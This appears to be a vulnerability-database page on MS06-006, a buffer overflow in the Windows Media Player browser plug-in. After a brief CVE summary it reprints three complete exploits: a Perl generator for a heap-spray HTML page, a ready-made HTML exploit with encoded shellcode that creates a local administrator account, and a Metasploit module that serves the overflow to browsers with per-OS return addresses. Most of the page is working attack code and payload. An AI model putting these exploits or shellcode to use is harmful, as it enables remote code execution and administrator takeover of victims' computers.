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Buffer overflow in the plug-in for Microsoft Windows Media Player (WMP) 9 and 10, when used in browsers other than Internet Explorer and set as the default application to handle media files, allows remote attackers to execute arbitrary code via HTML with an EMBED element containing a long src attribute.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
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Publication date : 2006-02-21 23h00 +00:00 Author : Matthew Murphy EDB Verified : Yes
#!/usr/bin/perl
#
# wmp-profiteer.pl
# Exploiting 'Non-Critical' Media Player Vulnerabilities for Fun and Profit
# By Matthew Murphy (mattmurphy@kc.rr.com)
#
# It's come to my attention that the HTML versions of the exploit posted on
# several sites have become mangled. Notables include SecuriTeam and FrSIRT.
# Neither one, though, can beat SecurityFocus, whose links to the exploits
# for this issue are both 404s.
#
# I haven't updated the underlying exploit methodology -- it's still a shameless
# rip of Skylined's heap spray technique, but now the shellcode can be
# customized!
#
# The usage of this tool is as follows:
#
# wmp-profiteer.pl [shellcode]
#
# The shellcode that comes with this has the same payload as the original.
# If it's successful against you, you'll have an administrator account named
# 'wmp0wn3d' with a password of 'password'. This, of course, assumes that
# you're running the vulnerable application as an administrator. There's a
# lesson in that: run as a Limited User or at least tie down your browsers
# with Software Restriction.
#
# This will drop 'wmp-exploit.html' in the current directory. When the HTML
# document is opened locally or viewed remotely by a vulnerable web browser
# (Firefox on Windows), the exploit code will run and gain control of the
# browser.
#
# The standard disclaimer from the original exploit still applies, with some
# changes:
#
# This exploit code is intended only as a demonstration tool for
# educational or testing purposes. It is not intended to be used for any
# unauthorized or illicit purpose. Any testing done with this tool OR ANY
# PRODUCT OR ALTERATION THEREOF must be limited to systems that you own or
# are explicitly authorized to test.
#
# By utilizing or possessing this code, you assume any and all
# responsibility for damage that results. The author will not be held
# responsible, under any circumstances, for damage that arises from your
# possession or use of this code.
$part1 =
"<!DOCTYPE HTML PUBLIC \"-//W3C DTD HTML 4.01 Transitional//EN\">
<HTML>
<HEAD>
<TITLE>WMP EMBED Exploit by Matthew Murphy</TITLE>
<SCRIPT>
var spray = unescape(\"%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141\");
do {
spray += spray;
} while (spray.length < 0x1000000);
spray += unescape(\"";
$part2 =
"\");
</SCRIPT>
</HEAD>
<BODY BGCOLOR=\"#FFFFFF\" TEXT=\"#000000\">
<EMBED SRC=\"";
$part3 =
"\"></EMBED>
</BODY>
</HTML>";
if (@ARGV != 1) {
print STDERR "Usage: $0 [shellcode file]";
}
open(EXPLOIT, ">./wmp-exploit.html") or die "Cannot open 'wmp-exploit.html for writing.";
print EXPLOIT $part1;
open(SHELLCODE, $ARGV[0]) or die "Shellcode file not found.";
while (!eof(SHELLCODE)) {
$ch1 = getc(SHELLCODE);
if (eof(SHELLCODE)) {
print EXPLOIT "%u00";
print EXPLOIT sprintf("%%u00%.2x", ord($ch1));
} else {
$ch2 = getc(SHELLCODE);
print EXPLOIT sprintf("%%u%.2x%.2x", ord($ch2), ord($ch1));
}
}
close(SHELLCODE);
print EXPLOIT $part2;
print EXPLOIT "-"x2038;
print EXPLOIT "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL";
print EXPLOIT "AAA\x05";
print EXPLOIT "NNNNOOOO";
print EXPLOIT "AAA\x05";
print EXPLOIT "QQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999.wmv";
print EXPLOIT $part3;
close(EXPLOIT);
----------------------------------------------- shellcode.hex -----------------------------------------
:020000040000FA
:100000002BC983E9C9D9EED97424F45B8173132118
:10001000C414F183EBFCE2F4DD2C50F121C49FB455
:100020001D4F68F459C5FB7A6EDC9FAE01C5FFB861
:10003000AAF09FF0CFF5D4688D40D4852605DEFC6C
:100040002006FF051A9030F554219FAE05C5FF9795
:10005000AAC85F7A7ED8151AAAD89FF0CA4D48D58B
:1000600025072531454F54C1A4046CFDAA84187A94
:1000700051D8B97A49CCFFF8AA44A4F121C49F9978
:100080001D9B250741929D09A2046FA149349EF54D
:100090007EAC8C0FABCA430EC6A779950FA16C94AA
:1000A00001EB77D14FA160D154B7718301B379814E
:1000B00011B37AC245E4649052B7639E53A034DE14
:1000C000608050D107E2349F44B0349D4EA7759DA7
:1000D00046B67B8451E455954CAD7A9852B0669003
:1000E00055AB668201B3798111B37AC245E43BB066
:0400F000658014F122
:00000001FF
# milw0rm.com [2006-02-22]
Publication date : 2006-02-16 23h00 +00:00 Author : Matthew Murphy EDB Verified : Yes
<HTML>
<HEAD>
<TITLE>WMP Plugin EMBED Exploit</TITLE>
<SCRIPT>
// Windows Media Player Plug-In EMBED Overflow Universal Exploit (MS06-006)
// By Matthew Murphy (mattmurphy@kc.rr.com)
//
// DISCLAIMER:
//
// This exploit code is intended only as a demonstration tool for
// educational or testing purposes. It is not intended to be used for any
// unauthorized or illicit purpose. Any testing done with this tool must
// be limited to systems that you own or are explicitly authorized to
// test.
//
// By utilizing or possessing this code, you assume any and all
// responsibility for damage that results. The author will not be held
// responsible, under any circumstances, for damage that arises from your
// possession or use of this code.
//
// Tested:
// Firefox 1.5.0.1
// Windows Media Player 10
// Windows XP SP2 (US)
//
// The Windows Media Player plug-in for non-Microsoft browsers (Firefox,
// Opera, etc.) suffers from an exploitable overflow in its handling of
// EMBED tags. Specifically, a very long SRC property on such a tag can
// lead to an overflow that will corrupt a structured exception handling
// frame.
//
// The SEH frame is the vector of control that I exploit. Fortunately,
// DEP is turned off for non-Microsoft code, so there's no issue there.
// That's really a shame, because such a move would've made an already
// difficult exploit much harder.
//
// One of the reasons the exploit is tough is because the overrun buffer
// (the SRC attribute) is seriously mangled before it is handled by the
// plug-in. In particular, any character with the sign bit set (> 0x7F)
// is replaced.
//
// We could do as the creative wizards like HD Moore suggest and use an
// alphanumeric payload with some cute SEH tricks. Let me rephrase:
// YOU could do as the creative wizards suggest. Meanwhile, I'm perfectly
// content to throw my code in another buffer and get around all the silly
// alpha-numeric sanitation. Sure beats devoting hours to beating it
// with fancy shellcode, all for a PoC I may never release.
//
// Instead, I shamelessly ripped a page from Skylined's book and borrowed
// (and cleaned up) the heap spraying technique. My heap-spray is a lot
// less precise, because the memory layout is a lot more variable. In
// my experience, it took a _HUGE_ block allocation to get the heap I
// wanted to jump to into a reliably-placed location. Hence the atrocity
// of the 16MB of noops below.
//
// Aside from the character restrictions, this is a standard stack-based
// overflow. I simply smash the SEH frame with a pointer to my HUGE heap
// block, which consists of a bunch of 0x41 characters. An INC ECX is a
// functional noop -- so the box takes the slide down the heap into the
// shellcode. The shellcode is a standard Win32 "add administrator"
// payload from Metasploit.
//
// This exploit is a lot of ripping, cleaning and re-implementation, but
// that just goes to show how easy it is to write. So... how about that
// 'Important' rating? A bit perplexing to rate a "click-and-own" as an
// Important... or is it just because nobody would *DARE* run one of those
// "Non-Microsoft" browsers on Windows? :-)
// Spray the heap
var spray = unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
do {
spray += spray;
} while (spray.length < 0x1000000);
// If this is successful, you can login as a local admin:
//
// User: wmp0wn3d
// Pass: password
spray += unescape(
"%uc933%ue983%ud9c9%ud9ee%u2474%u5bf4%u7381%u9713"+
"%u798c%u839b%ufceb%uf4e2%u646b%u9b3d%u8c97%udef2"+
"%u07ab%u9e05%u8def%u1096%u94d8%uc4f2%u8db7%ud292"+
"%ub81c%u9af2%ubd79%u02b9%u083b%uefb9%u4d90%u96b3"+
"%u4e96%u6f92%ud8ac%u9f5d%u69e2%uc4f2%u8db3%ufd92"+
"%u801c%u1032%u90c8%u7078%u901c%u9af2%u057c%ubf25"+
"%u4f93%u5b48%u07f3%uab39%u4c12%u9701%ucc1c%u1075"+
"%u90e7%u10d4%u84ff%u9292%u0c1c%u9bc9%u8c97%uf3f2"+
"%ud3ab%u6d48%udaf7%u63f0%u4c14%ucb02%u7cff%u9ff3"+
"%ue4c8%u65e1%u821d%u642e%uef70%uff14%ue9b9%ufe01"+
"%ua3b7%ubb1a%ue9f9%ubb0d%uffe2%ue91c%ufbb7%ueb14"+
"%ufba7%ua817%uacf3%ufa09%uffe4%uf40e%ue8e5%ub459"+
"%uc8d6%ubb3d%uaab1%uf559%uf8f2%uf759%ueff8%uf718"+
"%ufef0%uee16%uace7%uff38%ue5fa%uf217%uf8e4%ufa0b"+
"%ue3e3%ue80b%ufbb7%ueb14%ufba7%ua817%uacf3%uda56"+
"%uc8d3%u9b79"
);
</SCRIPT>
</HEAD>
<BODY>
<EMBED SRC="----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLAAANNNNOOOOAAAQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999.wmv"></EMBED>
</BODY>
</HTML>
# milw0rm.com [2006-02-17]
Publication date : 2006-02-16 23h00 +00:00 Author : H D Moore EDB Verified : Yes
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::wmp_plugin_ms06_006;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
my $info =
{
'Name' => 'Windows Media Player Plugin MS06-006 Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a vulnerability in the Windows Media Player plugin
for non-Microsoft web browsers. This module has been tested with Windows
Media Player 9 on Windows 2000 SP4, Windows XP SP2, and Windows 2003 SP0
(Firefox 1.5 and Opera 8.5).
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2003' ],
'Priv' => 0,
'AutoOpts' => { 'EXITFUNC' => 'process', 'GETPCTYPE' => 'ecx' },
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ],
},
'Payload' =>
{
# give some stack space, align esp
'Space' => 1024,
'BadChars' => "\x00\x22".join('', map { $_=chr($_) } (0x80 .. 0xff)),
'MinNops' => 0,
'MaxNops' => 0,
},
'Refs' =>
[
['CVE', '2006-0005'],
['OSVDB', '23132'],
['MSB', 'MS06-006'],
['BID', '15130'],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic - WMP 9.0', 0x07694b1e ]
],
'Keys' => [ 'wmp' ],
'DisclosureDate' => 'Feb 14 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
my $httphost = $self->GetVar('HTTPHOST');
$httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';
$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;
# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {
$line =~ s/^\s+|\s+$//g;
my ($var, $val) = split(/\:/, $line, 2);
# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));
$agent = $val if $var =~ /User-Agent/i;
}
my $addr;
##
# XXX Does not detect Windows SP levels or WMP version :-(
##
# Windows NT and Windows 2000 systems
if ($agent =~ /Windows NT [45]\.0/) {
$self->PrintLine("[*] Targetting WMP v9 on NT/2000...");
$addr = 0x07694b1e; # wmp.dll v9.00.00.2980
}
# Windows XP SP2
if ($agent =~ /Windows NT 5\.1/) {
$self->PrintLine("[*] Targetting WMP v9 on XP SP2...");
$addr = 0x4b5d5c74; # wmp.dll v9.00.00.3250
}
# Windows 2003 SP0
if ($agent =~ /Windows NT 5\.2/) {
$self->PrintLine("[*] Targetting WMP v9 on 2003 SP0...");
$addr = 0x585a6052; # wmp.dll v9.00.00.2991
}
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $pattern = "C" x 4000;
$addr = $target->[1] if ! $addr;
# We can't use SEH getpc from inside a SEH handler on XP SP2 >:(
# So we do it like a drunk ninja.
my $getpc =
"\x58\x58\x58". # pop eax, pop eax, pop eax
"\x05\x18\x29\x29\x29". # add eax,0x29292917
"\x2d\x01\x29\x29\x29". # sub eax,0x29292901
"\x50\x59"; # push eax, pop ecx
substr($pattern, 2082, 4, "ABC="); # inc, inc, inc, cmp eax, [ptr]
substr($pattern, 2086, 4, pack('V', $addr));
substr($pattern, 2090, length($getpc), $getpc);
substr($pattern, 2090 + length($getpc), length($shellcode), $shellcode);
my $content = "<html><body><embed type=\"application/x-mplayer2\" src=\"$pattern.wmv\"></body></html>";
$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload...");
$fd->Send($self->BuildResponse($content));
# Prevents IE from throwing an error in some cases
select(undef, undef, undef, 0.1);
$fd->Close();
}
sub RandomHeaders {
my $self = shift;
my $head = '';
while (length($head) < 3072) {
$head .= "X-" .
Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' .
Pex::Text::AlphaNumText(int(rand(256) + 5)) ."\r\n";
}
return $head;
}
sub BuildResponse {
my ($self, $content) = @_;
my $response =
"HTTP/1.1 200 OK\r\n" .
$self->RandomHeaders() .
"Content-Type: text/html\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}
$response .= "\r\n" . $content;
return $response;
}
sub Chunk {
my ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
return (<$rdr>);
}
1;
# milw0rm.com [2006-02-17]
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Microsoft>>Windows-nt >> Version datacenter_server
Microsoft>>Windows-nt >> Version datacenter_server
Microsoft>>Windows-nt >> Version datacenter_server
Microsoft>>Windows-nt >> Version datacenter_server